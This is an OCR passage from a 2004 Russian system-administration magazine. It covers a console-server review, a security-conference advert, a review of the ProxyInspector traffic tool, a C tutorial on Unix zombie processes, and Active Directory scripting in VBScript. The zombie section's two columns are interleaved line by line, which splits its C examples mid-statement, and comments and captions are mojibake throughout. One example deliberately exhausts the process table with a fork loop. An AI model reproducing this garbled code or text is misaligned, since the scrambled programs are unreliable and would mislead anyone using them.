на имени пользователя была сокращена до 3 знаков, кро-
ме того, появилось множество удобных нововведений.
Дальнейшие эксперименты проводились с новой
версией ПО. Теперь веб-интерфейс не предусматрива-
ет возможности установки ACL для доступа только из
одной сети. В одном из писем службы поддержки сооб-
щалось, что Digi Int. не считает необходимой реализа-
цию возможностей создания ACL из нескольких строк
в веб-интерфейсе. Вместо этого они рекомендовали
настроить ACL из CLI, используя обычный синтаксис ipf,
на базе которого, собственно, все и построено.
Как уже было отмечено выше, на время тестирования
было принято принципиальное решение не использовать
CLI, чтобы установить, чего можно добиться, не проводя
специального обучения сотрудников. А поскольку рабо-
чие станции специалистов и администраторов серверной
зоны находятся в разных сетях, было решено разделить
доступ по управлению устройством по портам: специали-
сты настраивают Digi СМ через веб-интерфейс, а адми-
нистраторы серверной зоны заносят данные по подклю-
ченному оборудованию через консольное меню.
77
 администрирование
Как уже говорилось, каждый порт имеет собствен-
ный ACL, поэтому доступ к ним остается возможным
для пользователей других сетей. Обращаться можно на-
прямую на IP-адрес и порт, назначенный данной консо-
ли, или через меню.
стоящему моменту почти все серийные порты сервера
были задействованы.
В заключение хочется дать один совет: по возможнос-
ти при установке обеспечивайте доступность консольно-
го сервера несколькими путями. При эксплуатации Digi
CM 32 как-то раз перегрузился маршрутизатор, обеспе-
чивающий IP-доступ к лаборатории. Локальная сеть ла-
боратории была multihome, что позволило нам через дру-
гое устройство попасть на Digi CM, и в конечном итоге на
консоль перезагрузившегося маршрутизатора. О причи-
нах перезагрузки поведал все тот же Digi, точнее, его port
log, который хранится в буферной памяти каждого серий-
ного порта:

Совсем короткая история

Во время подготовки статьи была выпущена новая про-
шивка – версия 1.3. В ней появилось много интересных
возможностей и были исправлены ошибки предыдущих
версий. Надо сказать, что с этой версией эксперименты
не проводились, поскольку целью тестирования были опи-
санные выше вполне определенные задачи, а не провер-
ка всех заявленных производителем возможностей. В
целом нам удалось достичь поставленной цели, и к на-

78
 ПРАКТИЧЕСКАЯ КОНФЕРЕНЦИЯ
ОБЕСПЕЧЕНИЕ ИНФОРМАЦИОННОЙ
БЕЗОПАСНОСТИ ПРИ ВЗАИМОДЕЙСТВИИ ГРАЖДАН,
БИЗНЕСА И ОРГАНОВ ГОСУДАРСТВЕННОЙ ВЛАСТИ
С ИСПОЛЬЗОВАНИЕМ СРЕДСТВ ИНФОКОММУНИКАЦИЙ
10-11 марта 2004 года
Конференция проводится общественно-государствен-
ным объединением «Ассоциация документальной элект-
росвязи» при поддержке Минсвязи России, аппарата Со-
вета безопасности Российской Федерации, Гостехкомис-
сии России, МВД России, ФСБ России.
Перед участниками конференции выступят с докла-
дами и ответят на вопросы представители государствен-
ных органов исполнительной и законодательной влас-
ти, представители науки, бизнеса, страховых, юридичес-
ких и консалтинговых компаний, разработчики и систем-
ные интеграторы.
На экспозиции будут представлены современные ре-
шения организаций – членов АДЭ по обеспечению инфор-
мационной безопасности.
Основные темы практической конференции:

деятельность органов государственной власти по обес-
печению информационной безопасности,

юридические аспекты обеспечения информационной
безопасности,

основные компоненты обеспечения информационной
безопасности,

обеспечение информационной безопасности как уп-
равляемый процесс,

исследование рынка средств обеспечения информа-
ционной безопасности,

уязвимости и угрозы,
№1(14), январь 2004
г. Москва, отель «Аэростар»

системы предупреждения и оповещения,

совместимость средств обеспечения информационной
безопасности,

использование общих критериев как инструмента
оценки уровня обеспечения информационной безопас-
ности,

противодействие распространению вредоносных про-
грамм и спама,

инфраструктура идентификации на базе удостоверя-
ющих центров,

минимизация рисков и страхование ответственности,

международное сотрудничество в сфере обеспечения
информационной безопасности.
Программа конференции ориентирована на руководи-
телей организаций и специалистов в области обеспече-
ния информационной безопасности.
Не пропустите важнейший российский Форум 2004
года по обеспечению информационной безопасности!
Оргкомитет:
http://www.rans.ru
тел.: (095) 273-34-28, 273-32-46, 273-48-83, 273-88-57,
956-26-12, 995-20-11
факс (095) 273-30-29
e-mail: info@mail.rans.ru
79
администрирование

PROXYINSPECTOR – ИНСТРУМЕНТ КОНТРОЛЯ

ЗА РАСХОДОВАНИЕМ ИНТЕРНЕТ-ТРАФИКА

АНДРЕЙ БЕШКОВ

80

В тот день, когда администратор настраивает шлюз для
доступа работников предприятия в Интернет, он сталки-
вается с необходимостью найти решения для проблем, с
которыми никогда ранее не встречался. Сначала нужно
обучить всех пользоваться браузером и почтовым клиен-
том. Потом приходит время бороться с вирусами, троянс-
кими программами и прочим мусором, которые между
прочими важными делами любопытные пользователи,
словно малые дети, тянут из сети. Кажется, что счастли-
вая и безмятежная жизнь для администратора наступит
сразу же, как только с этими проблемами будет поконче-
но. К сожалению, в реальном мире все обстоит иначе.
Очнувшись после первого периода интернет-эйфории и
разглядывая счета на оплату услуг провайдера, начальство
все чаще начинает задавать сакраментальные вопросы
«Кто столько скачал и почему мы должны за это платить?».
В этот момент на сцену выходят программы для учета
трафика. С их помощью руководство организации, началь-
ники отдела ИТ или сотрудники службы безопасности мо-
гут увидеть достаточно подробную картину того, как со-
трудники используют Интернет. Административные ме-ры,
принятые на основе увиденного, безусловно, повысят про-
изводительность труда и обязательно сэкономят деньги
компании. Системному администратору подобный инст-
румент тоже пригодится, так как позволит легко обнару-
жить аномальную активность в повседневных потоках
данных между внутренней сетью и Интернетом. В зави-
№1(14), январь 2004
администрирование
симости от операционной системы, используемой на шлю-
зовом компьютере, наличия прокси-сервера и типа пре-
доставляемых услуг можно выбрать несколько наиболее
распространенных решений.
Например, для Unix-платформ характерны решения
на основе межсетевого экрана и прокси-сервера, кото-
рый может работать как на шлюзе, так и на отдельной
машине. Самыми часто используемыми прокси-серве-
рами являются Squid, Delegate, Socks. Для каждого из
них написана большое количество разнообразных скрип-
тов, которые анализируют протоколы запросов, посту-
павших к прокси-серверу от пользователей, и на их ос-
нове строят отчеты. К сожалению, такие подсчеты явля-
ются весьма приблизительными, так как в них не учиты-
ваются сетевые протоколы нижнего уровня. Возьмем, к
примеру, ситуацию, когда пользователь скачивает из Ин-
тернета файл по протоколу HTTP. Предположим, что в
качестве транспорта используется протокол TCP/IP, ко-
торый отвечает за гарантированную доставку пакетов.
Если какой-то из пакетов будет испорчен во время путе-
шествия через сеть, то отправитель по запросу получа-
теля пошлет его заново. И такая ситуация может повто-
ряться много раз. Испорченные пакеты отбраковывают-
ся раньше, чем попадут к приложению прокси-сервера.
Таким образом, получается, что статистика использова-
ния канала, выдаваемая прокси-сервером, будет весь-
ма отличаться от количества данных, реально передан-
81
 администрирование
ных по каналу связи. Этот недостаток можно исправить,
если кардинально изменить систему учета трафика. Те-
перь мы будем считать количество пакетов, прошедших
через межсетевой экран. К сожалению, в этом случае
нам скорее всего придется отказаться от услуг прокси-
сервера, потому что все запросы пользователей будут
направлены ему. А с точки зрения межсетевого экрана
во внутренней сети будет находиться единственная ма-
шина, потребляющая львиную долю трафика. Думаю,
всем понятно, что именно прокcи-сервер будет этой ма-
шиной, так как межсетевой экран не имеет никакого по-
нятия об остальных компьютерах, потому что они не об-
ращаются к нему напрямую. В ситуации, когда от воз-
можностей, предоставляемых прокси-сервером, отказы-
ваться не хочется, наиболее простым выходом будет ве-
дение двойной статистики. Одна по количеству и разме-
ру пакетов, обработанных межсетевым экраном, а вто-
рая по количеству запросов от пользователей и разме-
рам файлов, кочевавших между пользовательскими ра-
бочими станциями и прокси-сервером. На самом деле
это не такая уж и сложная проблема. За многие годы
эксплуатации администраторами этих систем придума-
но достаточно много уловок, позволяющих избавиться
от большинства неудобств вышеописанных методов.
Впрочем, обсуждение столь сложных вопросов выходит
далеко за рамки данной статьи. Рассмотрев методики кон-
троля за потреблением интернет-трафика, наиболее час-
82
то применяемые в Unix-системах, давайте сделаем то же
самое и для комплексов, работающих на основе Windows.
Самыми популярными прокси-серверами для данной
платформы являются Ositis WinProxy, Qbik WinGate, Kerio
WinRoute, Microsoft ISA Server. Все вышеперечисленные
продукты являются одновременно и прокси-сервером, и
межсетевым экраном. Такое положение дел очень упро-
щает процедуру сбора наиболее правдивых данных о под-
вигах пользователей на ниве Интернета. Каждый из них
предназначен для своей целевой аудитории и соответ-
ственно обладает теми или иными преимуществами и
недостатками. Ну а лично мне наиболее симпатичен ISA
Server как продукт, наиболее полно соответствующий
моим административным потребностям. К сожалению,
штатные средства для создания отчетов о трафике и
пользовательской активности, поставляемые вместе со
всеми этими серверами, по моему мнению, выглядят до-
вольно неказисто. В каждом из них чего-нибудь да не хва-
тает. Пришлось искать продукт сторонней фирмы, позво-
ляющий наиболее гибко работать со статистикой, кото-
рая стала предметом нашего разговора. Сегодня мы по-
говорим о программе ProxyInspector, созданной компани-
ей ADVSoft, которая с моей точки зрения является лучшим
кандидатом на это вакантное место. Первым делом стоит
отметить, что эта программа может работать со всеми вы-
шеперечисленными прокси-серверами. На данный момент
существуют три основные версии данной утилиты:


ProxyInspector Light является самой простой версией и
предназначена для небольших компаний. Поставляет-
ся с лицензией на 12 пользователей и позволяет ана-
лизировать протоколы серверов Ositis WinProxy, Kerio
WinRoute и Qbik WinGate. На данный момент разра-
ботка этой версии пока не закончена. Скорее всего
рядовым пользователям она станет доступна в нача-
ле следующего года.

ProxyInspector – выбор средних компаний. Для хране-
ния данных может использоваться как локальная база,
так и Interbase 6.x/Firebird. Позволяет обрабатывать
данные, полученные из Ositis WinProxy, Qbik WinGate,
Kerio WinRoute, Microsoft ISA Server. В связи с тем, что
у данной версии программы есть интерфейс комман-
дной строки, появляется возможность создавать от-
четы автоматически с помощью планировщика. Коли-
чество пользователей на одном сервере может варьи-
роваться от 25 до 250.

ProxyInspector Enterprise, созданная для работы на
больших предприятиях, содержит в себе все возмож-
ности, перечисленные выше. И вдобавок обладает
функциями работы с Active Directory. Для хранения
базы данных может использовать Microsoft SQL Server
и Interbase 6.x/Firebird.
Подробную информацию о стоимости разных версий
этой утилиты, условия лицензирования, снимки экранов
№1(14), январь 2004
администрирование
и образцы отчетов можно посмотреть на сайте: http://
www.advsoft.ru.
Ну а я тем временем расскажу о собственном опыте
работы с ProxyInspector для Microsoft ISA Server. Инстал-
ляция пробной версии, взятой с сайта компании ADVSoft,
прошла на удивление быстро и гладко. Требования к ма-
шине, заявленные разработчиками, выглядят весьма ас-
кетично. Ну а для тех, кто не хочет участвовать в безум-
ной гонке производителей оборудования, они покажутся
очень даже приемлемыми:

Процессор Pentium II с частотой 300 мегагерц.

Оперативная память 64 мегабайта, если используется
Windows 2000 или XP, то лучше иметь 128 мегабайт.

10 мегабайт свободного места на жестком диске .

Операционная система Windows 98/ME/NT 4.0/2000/XP.
Конечно, стоит понимать, что это минимальные требо-
вания, и они будут расти в зависимости от объема обраба-
тываемой информации. Но все же, мне кажется, что даже
при очень больших файлах протоколов не стоит ожидать,
что требования к аппаратному обеспечению будут очень
уж высоки. Устанавливать ProxyInspector можно на любую
машину, имеющую доступ к файлам протоколов ISA Server.
Такая возможность позволяет выполнять приложение по
анализу протоколов с рабочей станции сотрудника служ-
бы безопасности. Ну а если установка выполнена на ту же
машину, на которой работает ISA Server, то сразу же после
83
 администрирование
инсталляции ProxyInspector самостоятельно находит мес-
тоположение протоколов прокси-сервера. Это, безуслов-
но, приятно, хотя в то же время стоит помнить, что этот
механизм встроен не во все версии программы. Остается
только убедиться, что нужные файлы записываются про-
кси-сервером в формате W3C и можно приступать к им-
портированию данных в свою внутреннюю базу. Синтакси-
ческий анализ и импортирование данных выполняется с
достаточно высокой скоростью. Чтобы процесс импорти-
рования не потреблял слишком много ресурсов и не ме-
шал остальным приложениям, в программу встроена воз-
можность гибко регулировать его системный приоритет. С
помощью глобальных настроек программы можно управ-
лять модулем преобразования IP-адресов в имена хостов.
Для ускорения его работы служит встроенная система кэ-
ширования dns-запросов. Кстати, кроме всего прочего,
ProxyInspector умеет самостоятельно управлять файлами
протоколов ISA Server. Например, мне было удобно пору-
чить ему автоматическое удаление старых протоколов,
возраст которых превысил восемь недель. Рассматривая
интерфейс программы, нужно отметить его удобство и ин-
туитивную понятность. Все элементы визуальной среды, с
которыми сталкивается пользователь, могут отображать-
ся на английском, русском и немецком языках. То же са-
мое относится и к генерируемым отчетам, к созданию ко-
торых можно приступить после завершения импортирова-
ния данных. Отдельной похвалы заслуживает электронная
документация, поставляемая вместе с программой. Струк-
тура расположения материалов и подробность их изложе-
ния позволяют разобраться в любом вопросе за считан-
ные минуты. К сожалению, тут не обошлось без досадных
ляпсусов. Несмотря на многоязычность программы, доку-
ментация почему-то только на английском. Впрочем, по мо-
ему мнению, для большинства администраторов это не кри-
тично. Ну а если душа просит документацию на родном
языке, то вам нужно зайти на http://www.advsoft.ru/ru/
download/download_addon.php и скачать дополнительный
пакет русскоязычной справки для вашей версии програм-
мы. Закончив с обзором внешнего вида, вернемся к со-
зданию отчетов. Как и во всех нормальных программах,
делается это с помощью мастера отчетов. Из следующего
списка нужно выбрать административную единицу, о кото-
рой мы хотим что-либо знать:
84

прокси-сервер

пользователи

группы пользователей

время

дни недели

IP-адреса

сайты

протоколы

приложения
Группы пользователей можно создавать и редактиро-
вать самостоятельно, ну а в версии Enterprise их можно
импортировать из Active Directory. Это в свою очередь
позволяет наиболее гибко реализовывать специфику
организационных единиц предприятия. После указания
административной единицы настраиваем сортировку
строк отчета. Доступные следующие варианты:

имени пользователя/IP-адресу

количеству запросов

входящему трафику

исходящему трафику

суммарному трафику
При желании можно указать, нужны ли нам диаграммы
и какого вида. А если все же нужны, то какие шрифты и
цвета использовать для их оформления. После этого опре-
деляем данные, за какой период нас интересуют. И нако-
нец даем отчету имя. Это нужно не только для того, чтобы
мы смогли впоследствии различать разные отчеты. Пользу-
ясь менеджером отчетов, мы сможем создавать на его ос-
нове шаблоны для других отчетов. Ну а с помощью меню
«Отчеты» доступны настройки формата сохранения созда-
ваемого отчета. ProxyInspector для ISA Server может созда-
вать отчеты в виде html-документа с CSS или без него, или
же в виде электронных таблиц Excel. Вдобавок к сохране-
нию на жестком диске полученный отчет можно автомати-
чески отправлять по почте. К сожалению, на форме с на-
стройками поле для ввода почтового адреса только одно.
Это, конечно, не значит, что отчет можно отправить только
одному человеку. Ситуацию можно упростить, если вос-
пользоваться ухищрениями с почтовыми псевдонимами или
перечислить всех получателей в адресной строке через
запятую. Надеюсь, в следующей версии разработчики ис-
правят это досадное неудобство. Там же можно указать
тему, обратный адрес, формат создаваемого письма и спо-
соб прикрепления файла с отчетом.
Также очень полезным добавлением в программу пока-
зался редактор протоколов, распознаваемых ProxyInspector.
Пользуясь им, можно описывать свои собственные про-
токолы и строить отчеты по только что описанному типу
трафика. Ну а тех, кому создавать собственные отчеты
лень, несомненно, порадует набор готовых отчетов, по-
ставляемых вместе с ProxyInspector.
Заканчивая обзор семейства программ ProxyInspector,
хотелось бы отметить, что, за исключением мелких недо-
четов, работа с этими программами вызвала у меня толь-
ко положительные эмоции. Надеюсь, что столь полезный
инструмент будет востребован многими системными ад-
министраторами.
программирование

«УБИВАЕМ» ЗОМБИ

Практически в любой *nix-подобной операционной системе существует такое понятие, как «зомби».
В качестве примера возмём Linux (2.4.20). Зомби – это процесс, завершивший своё выполнение,
но не удалённый. Зомби практически не занимают никаких ресурсов, но поскольку они являются
процессами, то занимают место в proc. Как известно, количество процессов в системе ограничено,
и если текущее количество процессов максимально, то операционная система отказывает нам
в создании новых процессов, мотивируя это временным отсутствием ресурсов. Таким образом
и рождается проблема с зомби: их возникает так много, что в системе больше не могут создаваться
новые процессы. Но чаще зомби встречаются поодиночке. С зомби сталкивался практически
каждый программист, а число программ, в которых были или есть проблемы с зомби, настолько
велико, что перечислить их все не представляется возможным. Вот только некоторые из них: lynx,
xchat, links, stunnel, galeon, xinetd.

АНДРЕЙ УВАРОВ

86
 программирование
Процесс становится зомби тогда, когда он уже завершил- Значение поля STAT, равное Z, означает, что данный
ся, а в его родительском процессе не была вызвана фун- процесс и есть наш зомби. Но поодиночке зомби не страш-
кция wait. Функции wait, wait3, wait4 и waitpid предназна- ны, поэтому модифицируем предыдущий пример:
чены для получения родительским процессом кода завер-
шения его потомка. В случае если потомок уже завер- #include <sys/types.h>
#include <unistd.h>
шился, все системные ресурсы, занимаемые процессом, #include <stdio.h>
будут освобождены, а функция немедленно возвратит зна-
int main(){
чение pid потомка. pid_t our_child;
Для начала попробуем просто создать процесс-по- while(our_child != -1){
our_child= fork();
томок: if(our_child == 0){
return 0;
}
#include <unistd.h> }
#include <stdio.h> getchar();
#include <sys/types.h> return 0;
}
int main(){
// ñ ýòîãî ìåñòà íà÷èíàåò ñâî¸ âûïîëíåíèå ïîòîìîê
pid_t chld_PID= fork(); Итак, откомпилировав и выполнив текущий пример,
//åñëè chld_PID == 0, òî òåêóùèé ïðîöåññ – ïîòîìîê
if(chld_PID!= 0){ мы получим максимальное количество процессов в сис-
printf("I'm a parent\n"); теме. Если попробуем выполнить команду ps, то получим
}else{
printf("I'm a child\n"); сообщение о невозможности выполнения нашей коман-
ды по известной нам причине (команда ps взята для при-
return 0;
} мера, вызов практически любой команды будет завершён
подобным образом).
Вызовом fork создаётся копия текущего процесса. Вы-
полнение нового процесса начинается с того места, где [dashin@dashin zombies]$ ps ax
bash: fork: Resource temporarily unavailable
был произведён вызов fork. В случае благополучного со- [dashin@dashin zombies]$
здания нового процесса родителю fork возвращает pid
потомка, а потомку возвращается ноль (значение 0 не Разобравшись с тем, что представляют собой зомби,
является pid самого потомка, в Linux не существует про- стоит ознакомиться с некоторыми способами устранения
цессов с pid, равным 0, для получения идентификатора создаваемой зомби проблемы.
текущего процесса необходимо использовать getpid). Это Один из самых простых способов «убить» зомби –
необходимо для того, чтобы процесс мог определить, яв- это «убить» их родителя. Если в системе «умирает» ка-
ляется ли он родителем или потомком. В случае ошибки кой-либо процесс, то специальный демон init наследу-
новый процесс не создаётся и возвращается -1. ет всех потомков умершего процесса и удаляет их, если
Разобравшись с вызовом fork, попробуем создать од- они уже завершили своё выполнение. Но у нас может
ного зомби: не хватать прав на удаление родителя. Возможна ситу-
ация, когда родитель выполняет какие-то необходимые
#include <unistd.h> нам действия, и, удалив его, можно потерять данные.
#include <stdio.h>
#include <sys/types.h> Может быть множество причин, препятствующих этому
способу. И нам останется только по очереди убивать
int main(){
pid_t chld_PID= fork(); всех зомби.
if(chld_PID!= 0){ Очевидно, что лучше предотвратить зомби, нежели с
printf("I'm a parent\n");
//îñòàíîâèì âûïîëíåíèå ðîäèòåëÿ äî ââîäà ñèìâîëà ними бороться. Одним из решений является использова-
getchar(); ние вышеупомянутой функции wait.
}else{
printf("I'm a child\n");
} #include <sys/types.h>
return 0; #include <unistd.h>
} #include <stdio.h>
int main(){
Откомпилируем и выполним текущий пример. Для того
чтобы «увидеть в глаза» нашего зомби, получим список pid_t our_child;
our_child= fork();
процессов: if(our_child == 0){
return 0;
}
ps ax sleep(10);
wait();
[dashin@dashin zombies]$ ps ax getchar();
PID TTY STAT TIME COMMAND return 0;
1 ? S 0:05 init }
..............................................
18730 pts/4 S 0:00 bash -rcfile .bashrc
18767 pts/4 S 0:00 ./one_zomb Для наглядности этого примера выполним команду:
18768 pts/4 Z 0:00 [one_zomb <defunct>]
18864 pts/5 R 0:00 ps ax
[dashin@dashin zombies]$ top -d 1

№1(14), январь 2004 87

 программирование
и параллельно выполним предварительно откомпилиро- метра signal имеет сигнал (точнее сказать – номер сигна-
ванный пример (см. рис.1). ла), который мы собираемся обрабатывать, а второй пара-
Как и ожидалось, наш зомби, просуществовав около метр – имя нашей функции-обработчика. Но здесь есть
10 секунд, будет удалён. одна небольшая тонкость – если в качестве второго пара-
Учитывая то, что если дочерний процесс прерван или метра установим SIG_IGN, то наши зомби будут умирать,
остановлен, он шлёт своему родителю сигнал SIGCHLD, но как сказано в man: «POSIX (3.3.1.3) не определяет, что
тогда можно сделать у родителя обработчик этого сигна- случается при SIGCHLD, который установлен в SIG_IGN».
ла и в нём вызывать wait. То есть если у нас следующий пример будет работать в
Linux – не значит, что он будет работать в BSD. Следова-
#include <sys/types.h> тельно, таким способом пользоваться не рекомендуется.
#include <unistd.h>
#include <stdio.h>
#include <signal.h> #include <sys/types.h>
#include <unistd.h>
void killchld(){ #include <stdio.h>
wait(); #include <signal.h>
}
int main(){
int main(){ pid_t our_child;
pid_t our_child; signal(SIGCHLD, SIG_IGN); //òàê äåëàòü íå ñòîèò
int i; int i;
signal(SIGCHLD, killchld); for(i=1;i< 0xFF;i++){
for(i=1;i< 0xFF;i++){ our_child= fork();
our_child= fork(); if(our_child == 0){
if(our_child == 0){ return 0;
return 0; }
} }
} getchar();
getchar(); return 0;
return 0; }
}
Способ избежать зомби в большинстве случаев зави-
В данном примере мы устанавливаем обработчик сиг- сит от ситуации. Важно помнить, что зомби нужны забота
нала SIGCHLD вызовом signal. В качестве первого пара- и внимание. И только тогда они не будут вас беспокоить.

Ðèñóíîê 1. Âèäèìî, íå òîëüêî ìû óìååì ïîðîæäàòü çîìáè

88
образование

90

В своей работе системному администратору часто прихо-
дится выполнять рутинные действия, которые отнимают
много времени и требуют повышенного внимания. Управ-
ление Active Directory является одной из приоритетных за-
дач системного администратора. Программное админист-
рирование Active Directory позволит сэкономить время и
свести к минимуму влияние человеческого фактора. Ис-
пользуя провайдеры LDAP и WinNT, системный админист-
ратор сможет с помощью сценария загрузки управлять под-
ключением сетевых ресурсов; создавать скрипты, которые
позволят автоматизировать рутинные операции. Умелое
сочетание возможностей провайдеров WinNT и LDAP дает
превосходный результат. Как показывает опыт, без теоре-
тических знаний о механизме работы Active Directory и ADSI,
базируясь на приведенных в Интернете примерах, очень
трудно понять что к чему. В данной статье предпринята по-
пытка поставить все точки над «и», не оторвав при этом
теорию от практики (программирования Active Directory).
Программное управление
с помощью VBScript
Как отмечалось ранее, для управления ADSI могут быть
использованы VB/VBScript, JScript, C/C++. Для программ-
ного управления – компьютером, выполняющим роль кон-
троллера домена, на котором установлена Active Directory,
следует использовать стандартные средства, предлагае-
мые компанией Microsoft. Одним из таких стандартных
средств является VBScript. Использование этого языка про-
граммирования дает огромные преимущества. Скрипты, на-
писанные на VBScript помогут системному администрато-
ру не только управлять Active Directory, но и создавать сце-
нарии загрузки для входа в сеть. По сравнению с С/С++,
программный код на VBScript в несколько раз меньше, а
по функциям равнозначен. Использование WHS (Windows
Hosting Script) и WMI (Windows Management Instrument) со-
вместно с программированием Active Directory позволит
решать сложные задачи администрирования. И WSH, и WMI
также являются стандартными средствами и поддержива-
ют VBScript. Программирование WMI рассмотрено в ста-
тье «Решение задач инвентаризации в сети» в журнале
«Системный администратор» №12(13) за 2003 год.
Использование VBScript позволяет создавать скрип-
ты – текстовые файлы с расширением VBS, которые ис-
пользуются как сценарии загрузки при регистрации
пользователей в сети, в виде сайтов на основе ASP. ASP-
страница является синтезом HTML и VBScript. В отличие
от HTML-страниц, ASP-страницы поддерживают OLE-
объекты. Это позволяет использовать в ASP-страницах
программирование WMI, WSH, ADSI.
Создавая сценарии на любом языке программирования,
необходимо пристально следить за тем, чтобы конечный
продукт было легко внедрять и эксплуатировать. Сцена-
рий загрузки не должен содержать явных записей в про-
граммном коде. Например, название текущего домена,
если речь идет о программировании ADSI, необходимо оп-
ределять программно, а не прописывать явным образом.
Те параметры, которые невозможно определить с помо-
щью сценария, например месторасположение папки, в ко-
торой должны размещаться файлы отчетов, должны быть
№1(14), январь 2004
образование
прописаны в конфигурационном файле. Таким образом, в
тексте скрипта явным образом будет прописан только один
параметр – путь к конфигурационному файлу.
Используя в скриптах массивы для передачи данных, при
определении массива задавайте заведомо большее коли-
чество элементов в массиве, чем это необходимо, напри-
мер Array(1000). После занесения данных в массив переоп-
ределите размер массива с помощью функции ReDim
Preserve Array(i), где i – новый размер массива. При исполь-
зовании цикла For определяйте границы массивов с помо-
щью функций Lbound(Array) – нижняя граница массива,
Ubound(Array) – верхняя граница (см. Пример 1а). Существу-
ет второй способ работы с массивами, который в основном
используется в программировании ADSI – использование
конструкции FOR EACH element IN array (см. Пример 1б).
Ïðèìåð 1à Ïðèìåð 1á
i= Lbound(Array) For Each i in Array
For i To Ubound(Array) element=Array(i)
element=Array(i) next
………………………
Next
Продолжая развивать тему операций с массивами, не-
обходимо уделить внимание механизму упорядочивания
массивов и поиску среди элементов массива заданного
выражения.
Наиболее простым методом упорядочивания массивов
является пузырьковый метод. Суть метода заключается
в том, что при несоблюдении условия упорядочивания
массива смежные элементы меняются местами. Тем са-
мым элементы массива становятся друг за другом в за-
данном порядке – происходит упорядочивание.
Ïðèìåð 2
Dim Array(100)
……………………
For j=0 to Ubound(Array)
For i=0 to Ubound(Array)
If StrComp(Array_sort(i),Array_sort(i+1),0)=1 Then
temp=Array(i)
Array (i)=Array(i+1)
Array(i+1)=temp
End if
Next
Next
Осуществление процедуры поиска в независимости от
регистра символов является задачей, решать которую при-
ходится очень часто. Для обеспечения процедуры поиска
формируется массив, среди элементов которого проис-
ходит поиск. Для того чтобы сделать функцию поиска не-
чувствительной к регистру символов, необходимо исполь-
зовать функцию, преобразующую все символы строки в
большие или в маленькие. Это касается как элементов
массива, так и искомой строки. Для преобразования стро-
ки в маленькие буквы используют функцию Lcase(string),
для преобразования в большие – Ucase(string).
Ïðèìåð 3
Dim Array(100)
………………..
Dim SearchString="string"
For i=0 to Ubound(Array)
91
 образование
if Instr(Lcase(Array(i)),LCase(SearchString)) then
MsgBox "Ñòðîêà íàéäåíà"
else
MsgBox "Ñòðîêà íå íàéäåíà"
End if
Next
Active Directory
Active Directory (AD) – это служба каталогов, которая яв-
ляется иерархической базой данных, обеспечивающей
централизованное управление сетью. Active Directory хра-
нит в себе информацию об объектах сети и обеспечивает
доступ к этой информации пользователям, компьютерам
и приложениям.
Active Directory обладает следующими особенностями:

Масштабируемость. В отличие от большинства других
баз данных, которые являются реляционными, база
данных Active Directory является иерархической. В ба-
зах данных взаимосвязи между записями определя-
ются при помощи ключей, которые хранятся совмест-
но с данными. В иерархической базе данных взаимо-
связи между записями имеют характер «родитель-по-
томок»: каждая запись, за исключением корневой,
обладает родительской записью. У каждой родитель-
ской записи может быть один или несколько потом-
ков. Иерархическая база данных позволяет хранить
большое количество объектов, при этом быстро полу-
чать доступ к необходимым объектам.

Поддержка открытых стандартов. Active Directory
объединяет в себе концепцию пространства имен ин-
тернета со службой каталогов Windows NT, что по-
зволяет объединить и управлять различными про-
странствами имен в разноразрядных аппаратных и
программных средах. Для управления пространством
имен Active Directory используется библиотека интер-
фейса службы активного каталога (Active Directory
Service Interface – ADSI).

Поддержка стандартных форматов имен. Active Directory
поддерживает несколько общих форматов имен. Этот
факт позволяет приложениям и пользователям полу-
чать доступ к каталогу, применяя наиболее удобный
для них формат:
Òàáëèöà 1
92
DNS и Active Directory
Для иерархического именования доменов и компьютеров
в Active Directory используется система DNS, поэтому
объекты доменов и компьютеров являются как частью
иерархии доменов DNS, так и иерархией доменов Active
Directory. Несмотря на то, что имена в обеих системах
идентичны, они относятся к различным пространствам
имен. Взаимодействие DNS-имен доменов и их IP-адре-
сов в Active Directory реализовано в согласии с общепри-
нятыми соглашениями об именовании в DNS.
Доменная система именования (Domain Name System,
DNS) представляет собой базу данных, реализующую
иерархическую систему именования для идентификации
хостов. Основная функция DNS (см. RFC 1034 и RFC 1035)
заключается в прямом и обратном разрешении имен ком-
пьютеров в IP-адреса.
База данных DNS – это древовидная структура, назы-
ваемая пространством имен доменов (domain space name).
В Windows 2000 полное доменное имя (Fully Qualified
Domain Name, FQDN) компьютера состоит из 2 частей:

Имя DNS-узла. Крайняя левая метка – это полноцен-
ное имя DNS-узла, идентифицирующее учетную запись
компьютера, хранящуюся в Active Directory. Кроме того,
это имя локальной учетной записи компьютера в дис-
петчере безопасности учетных записей (Security
Account Manager, SAM) на рабочей станции или рядо-
вом сервере (не контроллер домена). По умолчанию
имя DNS-узла также используется в качестве NetBIOS-
имени. Это делается для совместимости с доменами
на основе Windows NT 3.51 и Windows NT 4, а также
для совместимости с рабочими станциями под управ-
лением 9х.

Основное имя DNS-имени домена. По умолчанию – это
домен Windows, к которому относится данный компь-
ютер (см. рис. 1).
Ðèñóíîê 1. Ïîðÿäîê ïîñòðîåíèÿ èìåí FQDN
Кроме DNS-имен компьютеров, контроллеры домена
Active Directory идентифицируются по видам предостав-
ляемых ими служб: серверы протокола LDAP (Lightweight
Directory Access Protocol); контроллеры доменов; сервер
глобального каталога GC (Global Catalog). Получив ука-
зание на имя домена и службу, сервер DNS способен
найти контроллер со службой искомого типа в данном
домене.
Глобальный каталог (Global Catalog, GC) – это контрол-
лер домена, в котором существуют три доступных для
записи каталога: домена, схемы и конфигурации. Ката-
лог автоматически создается при репликации Active
Directory. Все разделы каталогов на сервере глобального
каталога хранятся в одной базе данных каталога (Ntds.dit).
Глобальный каталог хранит сведения обо всех лесах,
поэтому его можно использовать для поиска любых
объектов в лесу без переадресации на другие серве-
ры. Если запрос на поиск послан по порту 389 (стан-

дартный порт протокола LDAP), то в случае неудачного
поиска запрос будет последовательно передаваться
другим контроллерам домена. В том случае, если об-
ращение идет по стандартному порту глобального ка-
талога (GC) 3268, поиск ведется по всем разделам леса.
Для безопасного доступа к службам следует использо-
вать порты, использующие SSL:
Òàáëèöà 2
Пример чтения: чтение глобального каталога на VBScript.
В результате скрипт выдает имя домена:
Ïðèìåð 4
temp=""
Set gc = GetObject("GC:")
For each child in gc
temp=temp+child.name
Next
msgbox temp
Архитектура службы каталогов
Active Directory
Чтобы понять, как хранятся и обрабатываются данные в
Active Directory, необходимо представлять себе, как взаи-
модействуют отдельные компоненты этой службы ката-
логов. Службу каталогов можно представить в виде мно-
гоуровневой структуры. Существует три уровня служб и
несколько интерфейсов и протоколов, которые образуют
полный спектр служб каталогов (см. рис. 2). Три уровня
служб содержат все данные для нахождения записей в
базе данных каталога. Выше уровня служб находятся про-
токолы и API-интерфейсы, которые обеспечивают взаи-
